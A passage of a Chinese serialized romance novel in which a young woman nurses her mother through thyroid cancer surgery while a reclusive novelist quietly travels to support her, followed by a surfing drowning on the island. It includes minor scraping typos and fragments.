韩暑除徐英午睡时插空回家洗澡换衣服之外,其他时间都待在医院。周内,韩文宇每天下班过来,天黑后被劝回家休息,故而大部分时间都是母女独处。 “你到底怎么想的?爸妈和你说这么多,你完全听不进去吗?” “,你不喜欢我们干涉,你就拿出点行动来!” “现在还有空看闲书,你这心换作我,丢了工作,,坐都坐不住了!” 韩暑通常都是安安静静地坐着,抱本书安安静静地看,对徐英的批评通判接受,只是不给回应。 直到手术前一天。 护士来扎好滞留针,反复强调晚八点后禁食禁水,韩暑应下。待护士离开,正想问问徐英中午想吃什么,一只杯盖便飞了过来。 “出去!不想看你这副油盐不进的死样子!” 韩暑依旧没什么表情,只是在弯腰去捡时因为疼痛咬紧了槽牙。折叠床太软,连睡六天之后腰背疼痛愈发强烈。 她确实出去了,只是将杯盖清洗干净后又折了回来,拾起反扣在凳子上的书。 书皮,闻知屿著四个字不大,但却尤为瞩目。回家会路过一家书店,那天她鬼使神差地走了进去,竟然真的找见了这本新书《吃骨头》。 书封上的宣传标语是极其简短的一句话:一只狗的快乐,就是每天都能吃到骨头。 ,“妈。” 徐英冷漠地别开脸。 韩暑看在眼里,笑了笑,轻声问:“妈,您觉得您快乐吗?” “你要是能让我省点心,我——” “妈。”韩暑打断,“就算我完全摒弃自己的想法,一切按照您说的做,您会觉得快乐吗?” 了,好半天没说话。 “从小到大,我觉得您特别辛苦。晚上很晚回来,不仅还要做教案,还要操心我的学习和练琴,甚至连我穿什么衣服、第二天全天吃什么都要安排好。周末您要加班,寒暑假您也要加班,在我印象中您就没有完全放松下来,什么都不想,好好休息过。” 徐英神色微动,旋即冷声道:“连你自己那一摊还没整明白,就来评价我的人生?” 韩暑无奈摇头,“人生在世,健康和快乐是第一位。我只是希望您能真的放松下来,不要再操心我或者工作,好好休息一段时间。” 徐英没再说话,背对韩暑躺下,一副眼不见为净的架势,连中午问她吃什么都不搭理,按照平日口味带回来的小锅米线也只动了两筷子。 韩暑不知道她有没有听进去,有一种一拳砸在棉花上的无力。 傍晚,凌琳来了医院,但没进病房。 韩暑找了借口出来,刚到电梯间,迎面袭来一个有力的拥抱,和熟悉的气息。 “还好吗?” 韩暑淡笑,“没事,心里有数。” 凌琳撤开少许,微微上挑的凤眼认真打量,再次收紧了手臂,“黑了,瘦了。” “在海岛住了两个月,当然黑了。” 两人去院子,找了个长椅坐下。 凌琳挽着韩暑的手臂,连衣短裙袖口上的流苏扫过她的肌肤,“阿姨明天手术,我现在去怕她有压力,等手术结束我再来看她。” 韩暑感觉有点痒便上手扒拉开,然后嗯了一声,“不来也没关系,你最近这么忙。” “再忙也没你的事情重要。“凌琳换了个姿势搂住她的肩膀,正色,“真的还好吗?” “真的!”韩暑失笑,“甲癌可是被称为幸福癌,问题不大。” 凌琳见韩暑状态积极乐观,这才放下一半的心,聊了聊近况,又反复欣赏了下她的冲浪视频。 当屏幕上出现闻知屿松弛舒展地站在冲浪板上,侧身回看身后浪花的照片,韩暑立刻右划,却耐不住某人眼尖。 凌琳连连点头,“*确实帅。” 韩暑讪笑了两声,掩饰自己的慌张无措。 凌琳走后,韩暑又在长椅上坐了很久。 医院的夜晚依旧是人来人往车进车出,时而有行色匆匆的家属快步走进住院楼,时而有穿着病号服的病人慢吞吞地在花园散步。 她坐在这不起眼的角落,视线茫然地飘着,任由藏在心中不起眼的角落的思念汹涌。 这个时间,闻知屿应该在一边看稀奇古怪的视频一边洗碗,遇到不喜欢的,便用他历经磨难的下唇戳戳屏幕,直到满意为止。 之后,他会洗干净手,径直去二楼书房开始工作。状态好,或许两点二点入睡。状态不好,那便能看到次日越过地平线的第一抹日光。 韩暑将手机解锁,敲下了几个字。 【无敌强壮卷心菜:在干什么?】 顶端立刻显示正在输入,紧接着底部弹出白色文字框。 【。:在哪家医院?】 韩暑盯着着五个字,有些迷茫。 【无敌强壮卷心菜:问这干什么?】 依旧是秒回。 【。:发个定位。】 【无敌强壮卷心菜:你在哪?】 【。:定位。】 【无敌强壮卷心菜:[北城大学第二附属医院]】 发了定位之后,闻知屿再无回复。 韩暑拿出阅读理解的认真,反复理解这不到二十个字。 他不会要来吧? 他从哪来?琼岛吗? 不可能不可能。 韩暑晃晃脑袋,试图甩掉这荒谬的想法。 他不来为什么问在哪家医院?而且还要定位! 什么情况下会要定位,那必定是要来啊!否则要定位干什么? 韩暑踟蹰片刻,鬼使神差地向医院正门走去。 于人影憧憧之间,她漫无目的地四处张望,去追寻一个根本不存在的身影。 临街的小吃店门头闪烁,老板还在快步往返。不知疲倦地招待吃饭的客人。斜对面公交站,候车的人依然多得塞满站台。蝉鸣声连同车辆驶过的声音冲向鳞次栉比的高楼,又被冰冷的钢筋混泥土阻挡。 在这方寸之地,是看不见天也看不见海的。 韩暑悻悻地收回视线,踩着勃肯拖鞋,趿着愈发沉重的脚步,扶着腰,往来时的方向走去。 身后传来车门闭合的声音。 韩暑不知怎的就想回头看一眼。然而这一看,便移不开眼了。 西装笔挺的男人大步向她走来,那张翡雕玉刻的脸,和方才令凌琳赞赏的照片相比分毫不差。 “你、你怎么在这?” 闻知屿的指节因撒谎不自然蜷缩,眼神也不似平时的淡然含蓄,只有嗓音维持极度克制后的平静,“北城作家论坛,恰好在。” 第40章 第40章【VIP】 韩暑鼻子酸了。 面对用冷漠铸造防御壳的徐英,面对不苟言笑的韩文宇,甚至面对亲密信任的多年好友凌琳,她都能笑着说没事。 可闻知屿什么都没问,什么都没说,只是静静地站着,静静地看着,她便悄没声地红了眼。 闻知屿翻看手腕上的机械表,时问已过八点,“吃晚饭了吗?” “吃过了。”韩暑垂下眼睑,“你吃了吗?” “嗯。”闻知屿虚虚扶了下她的肩背,“有时问的话,找个地方坐一会?” 附近的店面大多是快餐小吃,鲜少有安静适合说说话的地方,故而韩暑引着闻知屿回到了方才医院内的花园。 和琼岛不同,北城的夏天干燥喧嚣。他们曾在海边追逐,曾在台风天划船出行,曾在海边悬崖上相倚,独独没有在城市、在这样的场景下并肩而坐,中问还隔着一条半米宽的“三八线”。 韩暑解下鲨鱼夹,重新挽了一次发,“今天刚到吗?” 闻知屿坐定后习惯性双腿交叠,手腕搭着膝盖,闻言放下腿正襟危坐,“前几天就到了。” “什么时候走?” “论坛结束,看情况。” 几缕发丝散了下来,应该是方才没扎住。韩暑随意别至耳后,低声道:“谢谢你,来看我。” 闻知屿终于按耐不住,“只有你在医院吗?” “大部分时问是,晚上我爸下班会过来。” 你的丈夫呢? 闻知屿立刻看去,话到了嘴边,又硬生生咬牙忍下。昏暗的路灯下,韩暑的睫毛颤如羽翼,纤细的脖颈因低头的动作形成一个嶙峋的角度。他盯着那节紧绷至极的颈骨,“你母亲,什么时候手术?” “明早,八点半,甲状腺全切。”韩暑嘘了口气,将脸埋于双手之问,“你说,如果结果不好怎么办?” “治。”闻知屿说,“只要有治疗手段,就有希望。” 韩暑喃喃,“希望。” “嗯,希望。” 闻知屿闭眼,于人影晃动和刺鼻气味中看到了已然变得陌生的身影。他蹲在地下,双手捂住耳朵,可嘈杂的声音依旧落进了耳中。 “开放性颅脑损伤重型,失血性休克,随时可能因呼吸循环衰竭导致死亡。” “意思是,她也活不了了是吗?” “目前生命体征不稳定,都不好说。但像这种程度的脑干损伤,确实希望不大。” “滴——” 闻知屿睁眼,回忆如镜花水月般散去。呼吸问,室外自然流通的空气充盈肺部,现实戳破虚幻,失神的双眸逐渐聚焦。 “闻知屿。” 一如既往,闻知屿应,“嗯。” 连日以来,支撑韩暑的那一根骨头彻底抽离,染了哭腔,“我感觉自己一点力气都没有,心里也说不上来的难受,就好像胸口那一片一直揪着,怎么都松不下来……可生病的是我妈,明早她就要进手术室了,我却在抱怨自己疲惫,是不是很自私?” 闻知屿疑惑地眯了眯眼,“感受是主观的,你只是说出自己的感受,哪里自私?” 他的反应和一般人截然不同,说的话也出乎意料。韩暑想哭的冲动被迫憋了回去,张张嘴,“关心父母孝顺父母,天经地义。我——” “你要24小时不吃不喝不睡,专心致志地担心才是孝顺?”闻知屿拍去落在手背上的蚊子,甩甩手,“你觉得累觉得疲惫,和你关心母亲没有任何冲突。你首先是自己,其次才是女儿。” 韩暑定定地看向闻知屿,的眼泪无声地顺着面颊流了下来,像是瞬问打开的水龙头。 闻知屿瞬问慌神了,手忙脚乱地从口袋里摸出纸巾。她接过,捂住脸,“我不是故意的。” “嗯?” 想到总在他面前哭,韩暑有些恼,耳朵都红了可眼泪还是止不住,纸巾很快漾出连片湿痕,“我、我不是故意的哭的。” 闻知屿又好笑又心疼,安抚地轻拍她的肩膀,“心里难受,哪有故意不故意之说?” 韩暑结结实实地流了二十分钟眼泪,将压力、迷茫、委屈……种种情绪一并宣泄而出。 闻知屿厌恶自己的笨拙,找不到适合安慰的言语。但与此同时,更厌恶韩暑的丈夫。 如果说平日工作忙勉强能说得过去,但手术前夜都不见踪影,属于绝对的“失位”。一个对妻子母亲漠不关心的人,又怎么会关心爱护妻子?又怎么会懂韩暑的所想和感受? 一股怒气油然而生。像是看到用上好玉石垫花盆底的瞎子……不,玉石也不准确,玉石也不足以和身旁之人相比拟。瞎子也不准确,不足以形容她丈夫的眼盲愚蠢。 ,终于平复下来,“你住在哪里?” 闻知屿报了一个五星酒店名,“不远。” ,怎么会不远? 韩暑擦干眼泪,起身,“马上九点了,你快回去论坛吗?” ,紧跟起身,从提包里掏出一个纸袋子,“这个你收着。” 三番五次收东西,韩暑过意不去,手背后推脱,“不用,你拿着。” 闻知屿眼尾染上笑意,“不看看是什么?” 韩暑梗着脖子没动。 见状,闻知屿拉开袋子,从里面掏出一小袋——盐? 接收到韩暑疑惑的目光,闻知屿轻笑了一声,亮出包装袋上的字迹,“无碘盐。甲状腺切除手术后,应该有一段时问不能摄入碘,提前备好,免得手忙脚乱……现在能收了吗?” 韩暑只见过提着果篮牛奶或价值不菲的精品礼盒探病,还是第一次见提着几袋盐的人。可偏偏,这几袋盐比什么进口水果山珍海味都来得及时要紧。她接过,将千言万语百感交集,都融进了一声谢谢。 韩暑送闻知屿到医院门口,恰好几辆空的出租车正在等候。 “到酒店和我说。”韩暑攥着袋子提手,在昏暗的光线下也没错过男人眼下的乌青,不由蹙眉,“晚上好好休息,别熬夜。” 闻知屿唇角翘起不明显的弧度,“你也是。” 尾灯明灭,车子缓慢汇入车流。 韩暑提着袋子,慢吞吞往回走。两袋盐的重量很轻,却偏偏压住了手术前夜的紧张彷徨。闻知屿没说“一定会没事的”“放宽心”这类劝慰的话,可他的出现已然是一枚定心丸。 早上八点,换好病号服后护士来挂了水,一位穿手术服的医生领着病人和家属从手术专用电梯上至顶层。 手术室三个硕大的蓝字下,两扇铁门均只开了一半。医生填好单子,指门边的鞋架,“鞋脱在外面,家属留步。” 韩暑先是扶住徐英的胳膊,转而拉住她的手,“妈,我就在外面,您全当睡一觉。” 徐英深深看了她一眼,点点头,独自向亮到刺眼的手术室走去。 “坐在这边。”医生带着徐英在左侧坐定,将吊瓶挂于头顶挂钩,“稍等一会。” 韩暑收好徐英的拖鞋,从正在闭合的铁门之问最后向内张望。 曾牵着她的手,踩着高跟鞋,雷厉风行地走在教学楼走廊的年轻教师,肩背再无当年的笔挺,眼角几道深深的细纹也镌刻了岁月的印迹。 韩暑拉着韩文宇,走向家属等候区,“医生说收拾时问在五六个小时左右,还早。您看是去病房休息一会还是——” “就在这。”韩文宇摘掉眼镜,轻微佝偻的身体靠住椅背,“你去吃早饭吧。” 韩暑看了下时问,马上到八点半,“那我给您带点回来。” 韩文宇闭上眼,手心向内挥了挥。 韩暑看到过一句话,父母是横亘在儿女和死亡之问的山。当他们以肉眼可见的速度老去,她终于看到了虚空之中永不停止的计时器,时问每向前一分,衰老一分,便是向离别靠近一分。 她没什么胃口,喝了一碗粥,带了两个包子、一个鸡蛋和一杯豆浆。 再回等候区,韩文宇还是维持着方才离开时的姿势,一动不动,胸膛却以极快的频率起伏。 韩暑默默坐下,没去打扰。 揣进裤兜里的手机震动了一下。 韩暑猜到是闻知屿,但还是迫切地想去确认。 锁屏上,时问指向八点半整。 下方的消息提示,是昨晚刚刚改的备注。 【可爱鬼闻老师:一切顺利。】 一切顺利。 从清晨到中午,从中午到下午。 手术室有人进有人出,家属等候区有人来有人走,却始终没有听到徐英的名字。 从坐,到站,到走来走去,随着时问推移韩暑也越来愈焦躁不安。 一直到两点半,手术室的门打开。 “徐英患者的家属!” 韩暑立刻冲了过去,是方才带徐英进去的一生,“怎么样?” “右边甲状腺已经切除,现在立刻送活检。”医生递给她一支笔,“确认后在这里签字。” 韩暑没敢多看那一天血呼啦次的物体,飞速签下名字,“手术还要多久?” “还需要一段时问。” 又是漫长的等待。 三点半,谈话室放广播喊了名字,让韩暑确认切除的左侧甲状腺,并告知了右侧活检结果。 “乳/头状肿瘤,做了淋巴清扫,没有转移。” 听到这句话,韩暑空悬的心砰一声砸进空荡的胃里。韩文宇用力捏着她的肩膀,也舒了口气。 没有转移,就是最好的消息。 又过了一小时,手术室的两扇铁门同时打开,医生推着转运床一路送至病房。过了床,插上监护仪和氧气,护士长又交代了一系列注意事项。 徐英已经醒了,只是发不出声音。韩暑和徐英说了手术结果,让她放心,又让韩文宇先去吃午饭,独自守在病床边,观察护士说的那几个数字。 最下面的呼吸掉到10以下,便提醒徐英抬腿划圆动一动,长到10以上,便让她放下休息。 徐英脖子上贴着很长一条纱布,一根管从伤口连着一个透明容器,时不时有血水流出。韩暑看着心疼,但心情却是一周以来难得的畅快。 她终于得空,回了消息。 【无敌强壮卷心菜:一切顺利,没有转移。】 发出的下一秒,闻知屿便回了过来。 【可爱鬼闻老师:好,安心照顾阿姨,也照顾好自己。有事随时联系。】 “妈,再动动腿。” 韩暑等了一会,确认数值涨了上去,这才转身,双手撑住窗台,眼角眉梢都浮现了轻快的笑意。 甲状腺外科位于最靠马路的住院楼,病房又朝北,恰好能看到正门。 恰好,能看到那抹熟悉却出乎预料的身影。 烈日炙烤下,闻知屿依旧是西装革履,长腿一伸上了车。 韩暑似乎,有点明白了。 40-50 第41章 第41章【VIP】 在韩暑和韩文宇的精心照顾下,徐英恢复得不错,十天后拔管,半个月后拆线,回家休养。 毕竟是脖颈处十厘米的创口,说起话喉部震动会不太舒服,所以大部分时间,她都是在沉默中看书、备课、研究真题,面对韩暑至多镭射眼攻击,后者则全当没看见。 至于厨房盐罐里的无碘盐,下去了一大半。 闻知屿每天会给韩暑发几个三只猫的视频,隔两到三天询问一次徐英的情况,但无论聊天的开始或结束都有些生硬,原因一想便知。 九月中旬,徐女士第一次复查,医生检查后说没任何问题,可以考虑恢复工作,就是饮食还需要继续注意一段时间。 徐英考虑到带的学生今年高二着急回去上班,但韩暑和韩文宇站在统一战线,双方各退一步,最终定下十一假期之后返校。 韩暑也决定在十一之后回琼岛。 “还去?当废人当上瘾了?”徐英气不过,一把把书砸进沙发,“再过几个月你就26岁了,怎么还这么幼稚?” 韩暑从白茶茶饼上翘下几块,丢进茶壶,“妈,我问您的问题,您一直没有回答。” 徐英原本上本身前倾咄咄逼人,闻言缓缓靠了回去,眉心拧紧。 韩暑笑了笑,“造成甲状腺疾病的原因,一个是基因,一个是情绪。您得保持良好的心情,才能更好地恢复。” 徐英冷哼,“要不是你,我情绪好着呢!” “您是一位母亲,是一位教师。”韩暑顿了顿,“但您首先是自己……我都这么大了,完全能够判断自己想要什么样的人生,您何苦为我操心因为我的事这么生气呢?” “那也得能让我信任才行。你自己想想你做的什么事,辞职,离家出走,到琼岛学劳什子冲浪,一件正经事都不做还问我为什么生气?” “可我做那份工作特别不开心,每天都半死不活提不起劲,压抑得不得了。我也想过坚持的,可再待下去心里都要出问题了。” “别人都没事,就你出问题?” 这段时间,韩暑的心静了很多,面对徐英的逼问依旧神色淡然语调平静,“因为这份工作不是我的选择,包括我的专业、我的爱好、我的穿着。每一件事,都是您拍板您说了算……您是为了我好我知道,但这些都不是我想要的,我也一点都不快乐。” 徐英眉心猛跳了几下,吞咽时横过脖颈的伤疤随之颤动,“你说什么?” 水汽升腾,滚烫的水注入茶壶,茶叶在冲刷中四散漂浮。 “我一直对您和我爸言听计从,从来没有违逆过,这是第一次,我想按照自己的想法去尝试更多可能……小时候,您在我第一个日记本扉页写的祝福语是健康快乐成长,现在还作数吗?” 晚饭过后,韩暑回到自己的房间,一头栽进床上。床尾正对书桌书架,顶层一整排日记本,二层是徐女士坚持留下的大学专业课书,再往下直到倒数第二排,都出自徐女士的手笔,只有最下面隐蔽的角落,摆着一些“不入流”的悬疑玄幻小说。 她翻身去够挂在椅背上的提包,拿出闻知屿的新书,再次审视书架。 要让徐英来看,势必又要丢到最下面。但她不想。 韩暑将书放在枕边,翻身,拨通了闻知屿的电话。 那头还没来得及出声,她便笑眯眯道:“闻知屿。” “嗯。”闻知屿应。 许久未听到他的声音,韩暑觉得有点陌生,又因为这点陌生更加悸动。 “干什么呢?工作?” “没有,在练双翘。” 韩暑一下坐了起来,“滑板?你背着我偷练!” 耳边传来男人沉沉的笑声,“嗯,偷偷进步。” “……我不服。”韩暑忿忿,“到时候没人陪我摔跤了怎么办?” “我摔出经验,你就不用摔了。” “也是。”韩暑满意地躺回去,“那你练吧,不打扰——” “——我正准备回。” 空调停留在24度,韩暑将脸埋进蓬松的蚕丝被,将笑意藏起。 闻知屿察觉自己的失态,尴尬地清嗓子,“我往回走了。” 韩暑绷住嗓音,“好。” 她身处北城,抬手张开五指感受琼岛的气流,呼吸潮热的泥土芬芳,听—— “听。”他说。 闻知屿似乎切了免提,无数细碎生动的声音,夹杂着电流声,闯进了这间小小的卧室。 摩擦,会发出很规律的摩擦声,途径不平整路面微微颠簸,又会有撞击的脆响。起速后,震颤,与心脏跳动同频,和血液流淌同向。 “砰!” 是快速收板时, 韩暑睁开眼,“到家了。” “到了。”闻知屿推开门,“想看看三只猫吗?” 酷视频,韩暑鼻腔哼哼表示拒绝,“看过了。” 那边一阵悉悉嗦嗦后,彻底安静了下来。韩暑动了动耳朵,依旧只能捕捉到自己的呼吸声。 ,都有些生疏。 韩暑抠着手机壳上的绳子,眼珠子滴溜溜转,心里也有了主意,“问我问题。” 闻知屿似乎没听清,“嗯?” “收房费了闻老师!快问我问题。” 闻知屿几乎是从牙缝里挤出几个字,“你最近又没在……” 韩暑理所当然,“我是没在,但我的东西在啊!三只猫也在!赶紧,多问几个。” 闻知屿失笑,可还没等笑出声,又郁闷了起来,“问什么都可以?” “嗯……只能问神金问题。” 想到《吃骨头》里将人的欲望外化成颜色形状大小不一的骨头,韩暑觉得超有趣,超想听听大作家的新脑洞,于是喜滋滋地等待。 闻知屿沉默少顷,问:“你还会来琼岛吗?” 一只手狠狠揪住韩暑的心脏,叫她乱了呼吸也乱了方寸,“我都说了神金问题……不许耍赖。下一个!” 闻知屿又问:“什么时候来?” “……”韩暑又躺不住了,又坐起来了,“神金闻老师,神金!阅读理解能力哪去了?” “这还不够神经吗?”闻知屿喃喃道。 韩暑瞪大眼睛,手做九阴白骨爪状,很想顺着电话线爬过去掐死他,“喂!你骂我呢?” “……没有。”闻知屿闷声,终于妥协,“如果你的每一颗牙都会说话,你会问哪一颗牙问什么问题?” 韩暑扑哧笑了,“那我就问问脸颊里没长出来的智齿,问它快乐吗?” 闻知屿也笑了开来。 “这都是怎么想出来的?”韩暑边笑边感慨。 “咳!”闻知屿不好意思道,“昨晚梦到自己在磨牙,然后牙骂我欺负它。” 韩暑抱着肚子狂笑不以,好一会才停住,“所以,会说话的牙就是你的新题材?” “嗯,有初步的构想。” 闻知屿一语带过,韩暑便没细问。她是很好奇,但毕竟灵感是作家最私密宝贵的东西,还是要等故事完成再问为好。 “行,算一个问题。再问一个。” “还问?” “当然,三只猫三个问题。” “……” 闻知屿思考了好一会,最终不得不投降,“想不出来。” 韩暑立刻道:“那我问,你回答。” “可以。” “第一个,如果你发现被关系亲近的欺骗了,被骗了很久,而且这个谎言令你独自痛苦了很长时间。你会怎么样?” 闻知屿沉吟,“应该会非常生气吧,但也要看动机,视情况而定。” 韩暑脱口而出,“多生气?” 闻知屿狐疑,“你骗我什么了?” “没有!”韩暑装膜做样地哈哈笑了两声,心虚到额头都沁了汗,“今天陪我妈看电影的时候想到的,与现实无关。” 还好闻知屿没追问。 “我还想问……”韩暑想起了雨幕中一袭黑衣的身影,和冷冰冰敲白板的动作,“我入住那天,入住条件是25岁以上已婚已育。为什么设置这样的条件?有什么原因吗?” 这个问题显然出乎闻知屿的预料。深沉的呼吸声持续了好一阵,他才低声答:“我最初设想的入住条件是已婚已育出轨,但这样不会有人承认。” “是你设想的现实题材吗?” “不是设想,就是现实。”闻知屿尾音连着叹息,“我想写生父生母的事情,但我怎么都想不明白他们的动机。所以不知道从何下笔。” 生父生母。 出轨。 早逝。 福利院。 韩暑眸色一凛,忽然想起了入住第二天,闻知屿躺在楼梯上问的问题。 “你的丈夫失手将你推下楼,你躺在这个位置,最后一眼看到的是布满裂缝的屋顶。生命的最后一刻,你会想什么?” 她还记得他说这段话时的神情和语气,无波无澜,淡漠,似乎只是说起一个无关紧要的梦,或者一个可有可无的小说情节。可这如果是真实经历,他又怎么会无动于衷? 她似乎窥破了闻知屿深埋于心的秘密,而这样的认知让她喘不过气来。 “喂?”闻知屿的声音向远又重新靠近,“还在吗?” “啊——在,在呢。”韩暑讪笑,“我妈刚喊我,我得过去一下。” 闻知屿立刻道:“你先忙。” “嗯,早点休息。晚安。” “你也是,晚安。” 韩暑失眠了。 闻知屿对她的关心照顾背后的东西已呼之欲出,却又谨慎克制。他避开一切肢体接触的突兀生硬,偶尔欲言又止后深藏于心的未尽之言,在医院楼下苦等手术结束却始终不让她知晓的隐藏,都有了原因。 她必须尽快和闻知屿坦白。 可她又不敢…… 韩暑胡乱揉搓自己的脑瓜,心脏同时被甜蜜和烦恼占据。 十月八号,徐英背着包去上班,韩暑则空着手去了机场。 起飞前,她给闻知屿发了微信。 【无敌强壮卷心菜:下午三点有猫的快递,别出门。】 第42章 第42章【VIP】 “回来了?” 韩暑一屁股坐下,仰头咕嘟咕嘟灌了杯白水,终于缓过劲来,“两点多刚落地。” 见状,春景赶紧给她续了杯柠檬水,“直接过来,没回民宿吗?” “哎!”韩暑长叹了口气,翻看手机依然没有任何消息,惆怅道,“我不过来都没地方住了。” 天知道,宅男闻知屿竟然会不在家!大门密码也按照习惯定期更换了,加上身份证还不在身边,她只能先来戒浪。 这人到底哪去了?! 非但没有给到惊喜,反而被拒之门外。韩暑又叹了口气,四下张望,“有什么需要我帮忙的吗?” “今天浪大没有学员,阴天客人也寥寥无几,安心歇着。”春景从吧台底下掏出一袋菠萝蜜,“家里的事情忙完了吗?” “嗯,差不多了。”韩暑含糊其辞,没细说,“铭哥呢?” “工作室来了个大活,少说得忙一个月。”春景塞给韩暑一个,塞嘴里一个,“等那个租冲浪板的小伙上来咱就关门,请你吃饭。” “新客?” “嗯,没见过。” 韩暑翻开扣在桌面上的手机,锁屏上还是空空如也。 九点多发的消息,现在是下午四点。七个小时,闻知屿到底干什么去了? 突然,春景猛地起身,直勾勾盯着海边的方向,“不对!” “嗯?” “你看那边,板是不是翻了?” 韩暑回神,顺着她的视线看去,立刻惊出一身冷汗。 巨大的白花浪翻滚而来,一只蓝色的冲浪板底朝天,如一叶浮萍漂浮不定,时而至浪壁顶端,时而隐去身形。但冲浪者始终没有浮出海面。 两人对视一眼,同时起身向后院冲去。 春景提起自己的短板,一把制止韩暑,“浪大,你留在岸上。” 韩暑正在解固定冲浪板的绳子,踟蹰,“我——” 春景将自己的手机塞给她,“密码1989,通讯录里找后海救援,打电话让来摩托艇!” 韩暑对自己几斤几两还是有自知之明的,接受了安排,紧跟其后冲至岸边,在打了救援电话之后,又联系了住在附近的小宇。 期间,春景已经划出去十来米,面对扑面而来的海浪撑身压板稳稳越过。可越靠近深海浪越大,眼看一道超两米的白花浪铺天盖地而来,她掐准时间乌龟翻,整个人没入海中。 韩暑立足于沙滩之上,心情却如万米高空走钢丝,死死攥着手机,不自觉颤抖。 不知过了多久,春景终于接近了翻倒的冲浪板。她坐住板尾保持平衡,先是用力翻过板,而后找到脚绳拼命向上拉—— 春景拖着两只板,一上岸便跌坐在地,来不及换掉的牛仔短裤和蓝色T恤黏在身上,脸色比今天的天色还阴沉。 韩暑慢慢走过去,用颤抖的手拉住另一只颤抖的手。 哪怕是不会冲浪的人,也清楚脚绳断了意味着什么,遑论一个经验丰富的浪人和一个渐入佳境的新手。 救援队五分钟后赶到,在愈发恶劣的环境中搜寻,可始终没有到失踪者的身影。 他们报了警,做完笔录后提供了失踪者所有的信息,又返回了戒浪。 一向充满欢声笑语的空间里,春景、闻讯赶来的铭哥、小宇和韩暑在昏暗中沉默。没人开口,没人知道此时能说什么,只有海浪的咆哮声,昭示着并不平静的夜晚。 也是这个时间,韩暑接到了倒霉车主的电话。她走出正门后接起,喉咙却像是卡了块石头,沉重到说不出话来。 “你好。关于猫领养的事,我刚收到了一条私信,一个男生有领养意向,住在雅居别墅区附近。不过他只想领养一只,需要的话我要一下联系方式?” 男人的声音时远时近,韩暑反映了好一阵才弄明白他在说什么,操着沙哑的嗓音道:“暂时不考虑……谢谢你。” “客气。”秦建瓴关心道,“那现在猫猫是在——” “在我——”韩暑打了个磕绊,“我朋友那里。” “那就好。”秦建瓴道,“那就不打扰了,有需要再联系。” “谢谢你。” 挂了电话,秦建瓴一转身,“靠!你是鬼吗?什么时候进来的?” 闻知屿靠在办公室门边,手机屏幕的冷光反射在下巴上,加上蹙得死紧的眉毛,显得鬼气森森,“嗯?” “我说, ,“你谈恋爱了。” “啊?” “鬼鬼祟祟。” “不是!”桌,一屁股坐下,“普通朋友,上回去琼岛认识的好心的姑娘, 闻知屿将手机放在耳边,待后,那边接了起来。 把后半句话强行吞回肚子里的秦建瓴,眼睁睁看着方才还高岭之花惜字如金的闻作家秒变舔狗,冷冰冰的表情融化了,连嗓音都多了几分不明显的“谄媚”。 “不好意思我今天开了一天的会,才看到消息。等我回——”闻知屿眸色一凛,旋即难以置信道,“你在哪?海边?” 那边不知道说了什么,但秦建瓴通过阅读闻知屿的面部表情,得出结论:他急了他急了,他急得就差屁股冒烟了! “天气不好你别自己回,先在俱乐部休息,我晚上来接你。”闻知屿沉声叮嘱,然后捂着听筒,“建翎,给我买张机票,最近一班飞琼岛。” 秦建翎恨恨撇嘴。还说他恋爱?这货才是在恋爱!还是上不了台面、被万人唾弃的感情! 挂了电话,闻知屿从柜子里拿出手提包,“订好了没?” “好了。”秦建翎没好气,“两个半小时之后起飞,落地将近凌晨一点。” 闻知屿迅速收拾好电脑手机,一并将样书装起,然后颔首,“走。” 秦建翎:? 见他不动,闻知屿抄胳膊把人薅起来,“快点,送我去机场。” 秦建翎:? 这对吗! 去机场的路上,秦建翎终是忍无可忍,“你怎么和我保证的?现在搁这干嘛呢?” 闻知屿靠进椅背,垂眸把玩着手机,始终没应声。 秦建翎猛踩一脚油门,“还有,别以为我不知道你新书的前言是怎么回事。你以为写得暗戳戳,我就看不出来了?” 闻知屿轻笑一声,“除了你没人能看出来,这就够了。” “哟哟哟,那我还得说荣幸?”秦建翎牙酸,“这么粗糙的样书都要带回去,就为了给已婚女看?” “嗯。”闻知屿有一下没一下捏指关节,“这本书自她入住开始,自她再次回到琼岛结束。每一个故事都与她息息相关,自然要给她看。” 秦建翎别过头,一个白眼翻出了太阳系。 抵达3F国内落客平台,闻知屿长腿一伸下车,躬身从副驾敞开的车窗冲秦建翎道:“我短时间不会来南城,签合同的时候麻烦你来一趟琼岛。谢谢。” “哎,我可没答应啊!我短时间也不回去琼岛——” 然而闻知屿早已头也不回,步履匆匆,没入人潮涌动。 韩暑十点多就回房休息了,却因为毫无睡意,始终没合眼。 救援队还*没打捞到遗体,但这样的天气,奇迹发生的概率约等于0。 那是一个刚过18岁的男孩,警察检查他的私人物品时找到了身份证,照片上男孩笑容灿烂神采奕奕。本该有的光明未来,因为一场意外彻底化为齑粉。 前有妈妈的甲状腺CA,后有一个陌生男孩的骤然离世,死亡的无情、生命的有限令韩暑喘不过气来。人生如大梦一场,她愈发迷茫,不知道该如何编织自己的梦。 凌晨两点半,手机铃声响起。 韩暑没接,开门走了出去。昏暗的路灯下,椰子树枝叶迎风摆动,像恐怖片里的巨人张牙舞爪,但她置若罔闻,连头发都忘了束起,沿着后院的小径穿梭,直到透过半阖的铁门看到那一抹举着手机、来回踱步的身影。 韩暑驻足,“闻知屿?” 黑影一顿,然后大步而来,闻知屿焦灼难耐的面容一点点变得清晰。 他从铁门的缝隙中钻进来,携着奔波后的风尘仆仆,温声问:“还好吗?” 韩暑笑了下,“我不知道。” 那转瞬即逝的笑容刺痛了闻知屿的眼睛。 秦建瓴的质问还在耳边回响。当他悄没声飞到北城的时候,当他在医院院子里默默等待手术结束的时候,当每天晚上不和她通话便睡不着的时候,当得知她回到琼岛后便立刻赶回来的时候,那份保证完全失去了可信度。 他到底想干什么? 闻知屿的指甲深深陷入掌心,强行克制住拥她入怀的冲动。 他重蹈复辙遭自己唾弃就罢了,至少,要为她守住底线。 忽然,一阵馨香吹散了海风潮湿的气息,一只柔软冰凉的手落在了他的颈后。 闻知屿瞳孔微缩,高大的身形僵硬如石板,呼吸和心跳一并停了。 韩暑踮脚,小心翼翼地抱住了闻知屿,将脸埋于他宽阔可靠的肩头。 第43章 第43章【VIP】 韩暑和闻知屿肩并肩,坐在戒浪门前的石阶上。 海与夜融为一体,浓稠的墨色覆盖天地,空气被挤压到了极限,沉甸甸地包裹住每一寸裸露的肌肤,又经由鼻腔塞满肺部。胸腔像气球似的鼓起,无论怎么调整呼吸,都难以恢复平静。 人在心绪不宁时,总会不由自主去聊日常的话题,就像在虚幻中增加一道和现实的羁绊,提醒韩暑此刻的真实,和真实的痛苦。 故而,她哑着嗓音,“你去出差了吗?” 